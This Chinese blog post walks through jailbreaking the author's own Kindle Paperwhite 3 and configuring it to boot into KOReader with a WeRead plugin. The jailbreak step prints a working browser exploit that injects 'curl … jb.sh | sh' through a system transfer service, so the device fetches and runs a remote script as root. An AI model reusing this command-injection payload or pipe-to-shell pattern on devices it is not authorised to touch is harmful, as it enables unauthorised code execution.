Kindle PW3 越狱实录:国区商店停服之后,把它改成一台微信读书专用机
手上一台 Kindle Paperwhite 3(第七代),用了好几年。今年国区 Kindle 商店正式停服,书城打不开、推送也发不了,一台好好的墨水屏设备瞬间退化成只能看本地文件的高级记事本。
扔掉可惜,卖了不值钱。于是花了半天把它越狱,换成 KOReader + 微信读书插件——现在开机就直接是微信读书书架,能看的书比原来多得多。
整个过程踩的坑不少,记下来。
先说结论
- 机器:Kindle PW3(第七代),固件 5.16.2.1.1,屏幕 1072×1448,Linux 内核 + 亚马逊自己的 Java 界面层
- 越狱用 WinterBreak2:走内置浏览器的一个文件注入漏洞,不需要注册账号、不需要 MRPI、不需要商店在线
- 阅读器用 KOReader,注意要下
kindlepw2架构的包,不是kindle - 微信读书用 weread.koplugin v1.6.0,插件作者明确留了给第三方启动器用的入口
- 最终形态:开机约 45 秒直接进微信读书书架,中间没有任何多余界面
- 全程没刷固件、没改系统分区里的程序,随时可以一键退回原生界面

先搞清楚 Kindle 到底是个什么系统
动手之前值得花两分钟理解它的结构,后面所有坑都跟这个有关:
- 底层是 Linux(PW3 是 3.x 内核,Freescale i.MX6 芯片,ARM 架构),跑 X11
- 界面层是亚马逊自己写的 Java 程序,进程名
cvm - 开机管理用的是 upstart,不是现在 Linux 上常见的 systemd——所以要塞开机自启,得往
/etc/upstart/写 job 文件 - 系统分区默认 只读挂载(squashfs),改任何系统文件前必须先
mntroot rw才能写,改完mntroot ro收回去
换句话说,越狱的本质是「拿到 root + 解锁只读分区」,然后就能往里面塞自己的程序。KOReader 就是一个跑在这套 Linux 上的第三方阅读器,不是新系统。
第一步:确认越狱窗口
越狱能不能做,全看固件版本。老版本直接有现成的一键包,新版本要么没有,要么得上硬件手段。
PW3 在 5.16.2.1.1 这个版本上,WinterBreak2 是可用的。建议在动手前把 Wi-Fi 关掉、开飞行模式,避免半夜被推一个固件更新把窗口关死。
| 项目 | 值 |
|---|---|
| 型号 | Kindle Paperwhite 3(第七代) |
| 固件 | 5.16.2.1.1 |
| 分辨率 | 1072 × 1448 |
| 越狱方式 | WinterBreak2(浏览器注入) |
| 是否影响商店/账号 | 否 |
第二步:越狱(WinterBreak2)
这个越狱方案聪明得很——它根本不需要你装任何东西,只用一个 HTML 文件。
把 dialoger.html 拷到设备的 documents/ 目录,用 Kindle 自带的浏览器打开它,页面里就这几行:
<script>
nativeBridge.accessHasharrayProperty("com.lab126.transfer", "request_upload", {
url: "http://127.0.0.1",
source_command: "sh -c 'curl -L https://kindlemodding.org/jb.sh | JB_HEADER=\"Winterbreak2 Jailbreak\" sh'",
unique_id: "winterbreak2",
netid: 1,
priority: 50,
notify_progress_interval: 20,
notify_pub: "com.lab126.archive",
notify_prop: "transferProgressNotification",
});
</script>
原理是:Kindle 的 com.lab126.transfer 服务在「上传文件」时会执行传入的 source_command,而浏览器能通过 nativeBridge 直接调这个服务。于是页面一打开,设备就以自己的权限跑起了 curl jb.sh | sh。
也就是说,整个越狱就是「让 Kindle 自己去下载并执行一段脚本」。脚本会装好越狱环境、写入 hotfix,防止系统更新把越狱覆盖掉。
跑完之后设备会重启。重启后进 KUAL 能看到菜单,就是成功了。
提醒一句:这一步要求设备能联网。国内直连
kindlemodding.org有时会卡,卡住就多试几次,或者挂个代理。
第三步:装 KOReader
KOReader 是这一整套的核心——一个开源阅读器,支持 PDF / EPUB / MOBI / CBZ,翻页速度比原生阅读器还快。
去 GitHub Releases 下 Kindle 包的时候这里有个必踩的坑:
| 包名 | 结果 |
|---|---|
koreader-kindle-*.zip |
装上去启动不了,架构不对 |
koreader-kindlepw2-*.zip |
正常 |
kindlepw2 是给 PW2/PW3 这一代 ARMv7 设备的构建,kindle 那个是给更早的 ARMv6 机型的。下错了不会报错,就是启动黑屏然后退出。
解压到 /mnt/us/koreader/,让它保持这个结构:
/mnt/us/koreader/koreader.sh # 启动脚本
/mnt/us/koreader/frontend/ # Lua 前端
/mnt/us/koreader/plugins/ # 第三方插件放这里
/mnt/us/koreader/settings/ # 配置
启动方式有两种:KUAL 菜单里点 KOReader,或者在 documents/ 放一个 scriptlet(PEKI 支持),点开直接起。
第四步:装微信读书插件
weread.koplugin 解压到 /mnt/us/koreader/plugins/ 就完事,不需要编译。
装好后菜单里会多出微信读书入口,扫码登录,书架和进度都跟手机端同步。这一点比原生 Kindle 强太多——原生根本不支持微信读书。
插件本身还有个细节值得记一下:它在 main.lua 顶部留了两个方法
-- Stable entry point used by third-party launchers such as SimpleUI and ZenUI.
function WeReadPlugin:openBookshelf()
return self:showBookshelf()
end
function WeReadPlugin:launch()
return self:openBookshelf()
end
意思是第三方启动器可以名正言顺地直接调 openBookshelf(),不用去猜内部实现。这对我后面做「开机直达书架」很关键。
第五步:让它开机就进微信读书
原生 Kindle 首页在国区停服之后基本是个废页面。既然这台机器只用来读微信读书,不如开机别废话,直接进书架。
分两件事做:
1. 用 upstart 接管开机
写一个 /etc/upstart/kor.conf,等亚马逊的 lab126_gui 起来之后,把它的界面关掉,换成 KOReader:
start on started lab126_gui
pre-start script
if [ ! -x /mnt/us/koreader/koreader.sh ]; then stop; exit 0; fi
if [ -f /mnt/us/koreader/NO_AUTOSTART ]; then stop; exit 0; fi
if [ -f /var/tmp/kor-autostart-done ]; then stop; exit 0; fi
/bin/sleep 45
touch /var/tmp/kor-autostart-done
end script
script
stop lab126_gui 2>/dev/null || true
/mnt/us/koreader/koreader.sh --kual --framework_stop || true
/bin/sleep 1
start lab126_gui || true
end script
那段 sleep 45 是故意的——开机时亚马逊自己的框架还没起稳,抢跑会白屏。
2. 用 userpatch 自动打开书架
KOReader 支持 koreader/patches/ 目录,文件名前缀是执行时机。写一个 2-open-weread.lua:
local UIManager = require("ui/uimanager")
local function tryOpen(tries)
local ok, FM = pcall(require, "apps/filemanager/filemanager")
if ok and FM then
local fm = FM.instance
if fm and fm.weread and type(fm.weread.openBookshelf) == "function" then
local opened = pcall(function() fm.weread:openBookshelf() end)
if opened then return end
end
end
if tries > 0 then
UIManager:scheduleIn(2, function() tryOpen(tries - 1) end)
end
end
UIManager:scheduleIn(6, function() tryOpen(4) end)
启动后等 6 秒(等 FileManager 建好),调插件的 openBookshelf(),失败就每 2 秒重试,最多 4 次。从头到尾不注册任何界面——它只是替用户点了那一下。
踩坑记录
这一节是这篇文章真正值钱的部分。
坑一:开机白屏,什么都没了
第一版 kor.conf 里我写了 stop on stopping lab126_gui,本意是「框架关了我这个 job 也停」。
结果:koreader.sh 自己会去 stop lab126_gui,这一 stop 直接把自己的 upstart job 也终止了,KOReader 还没启动就被杀,屏幕停在白屏。
教训:不要用 stop on stopping 去挂一个「自己会关掉被依赖对象」的 job。 删掉那一行、加个 start lab126_gui 兜底,白屏就没了。
坑二:界面每 10 秒崩一次
自己写了个手机风格的桌面:顶部状态栏、日期、大时钟、下面图标网格。装上去之后开机能看到界面,但每隔十秒整个 KOReader 就闪一下重启。
crash.log 里是这么一行:
frontend/ui/widget/verticalgroup.lua:51: attempt to index a nil value
原因是 KOReader 的布局容器有个隐藏约定:
VerticalGroup / HorizontalGroup 的偏移表(_offsets)是在 getSize() 那一刻算好并冻结的。之后你再往里 table.insert 一个子元素,paintTo() 遍历子元素时 _offsets[i] 就是 nil,整帧渲染崩溃。
我恰好干了这件事——算完总高度发现还差几个像素没填满,顺手追加了个占位元素。
-- 错的做法:getSize() 之后再 append
local vg = VerticalGroup:new{ align = "left" }
table.insert(vg, status)
table.insert(vg, clock)
local total = vg:getSize().h -- 偏移表在这里冻结
table.insert(vg, VerticalSpan:new{ width = self.height - total }) -- 越界了
改成一次性把子元素排好再构造,问题消失:
local kids = { align = "left" }
kids[#kids + 1] = VerticalSpan:new{ width = top_pad }
kids[#kids + 1] = status
kids[#kids + 1] = clock
local vg = VerticalGroup:new(kids) -- 之后再不改动结构
坑三:图标整排消失,还不报错
崩溃修好之后,状态栏、日期、大时钟都正常,但下面那一整块图标网格什么都没画,点击也毫无反应。
日志里翻出来一句:
[!] invalid alignment for HorizontalGroup: left
HorizontalGroup 的 align 只接受三个值:center / top / bottom。我写了 left——它不报错、不崩溃,只是往 stderr 打一行提示,然后把这一整行子元素全部跳过。
更阴的是连锁反应:图标没被画出来,它们的 dimen(位置尺寸)就停在初始值 (0,0),触摸事件的命中区域全错,所以整屏点什么都没反应。
排查渲染空白时,先检查枚举值拼写,这类静默失败比崩溃难查十倍。
坑四:一退出就被拽回来
kor.conf 里有个重启循环——KOReader 退出了就立刻再拉起来,防止误触退出掉回原生界面。
但在需要退出的时候,这个循环就变成了「退不出去」:点退出,界面闪一下又回来了。
解法是在退出动作真正发生前留一个标记文件:
-- koreader/patches/8-exit-once.lua
local f = io.open("/tmp/kor-exit-once", "w")
if f then
f:write("exit from ui\n")
f:close()
end
8- 前缀对应 KOReader userpatch 的 before_exit 阶段。重启循环看到 /tmp/kor-exit-once 就放手,/tmp 是内存盘、重启自动清空,所以下次开机照样进书架。
怎么退回去
折腾系统一定要留后门。这套方案留了三个:
| 方式 | 效果 |
|---|---|
触碰 /mnt/us/koreader/NO_AUTOSTART |
下次开机回原生界面,KOReader 还在 |
删掉 /etc/upstart/kor.conf |
彻底取消开机接管 |
直接删 /mnt/us/koreader/ 整个目录 |
恢复到只有越狱的状态 |
最省心的是第一个——建个空文件即可,kor.conf 里的 pre-start 守卫会主动放弃接管,退回亚马逊原生首页,不会白屏。
最后
现在这台 PW3 的用法变简单了:开机、等一分钟、书架自己出来、点书就看。微信读书的进度和手机同步,比原生 Kindle 的推送还顺。
代价是折腾了大半天,多数时间不是花在越狱上,而是花在「让界面按我想的样子显示」上。Kindle 这套界面框架对第三方程序并不友好,布局、事件、生命周期都有隐含约定,踩一次记一次。
但值得。国区商店关了,书还得看。
评论 (0)
还没有评论,来说两句吧~
发表评论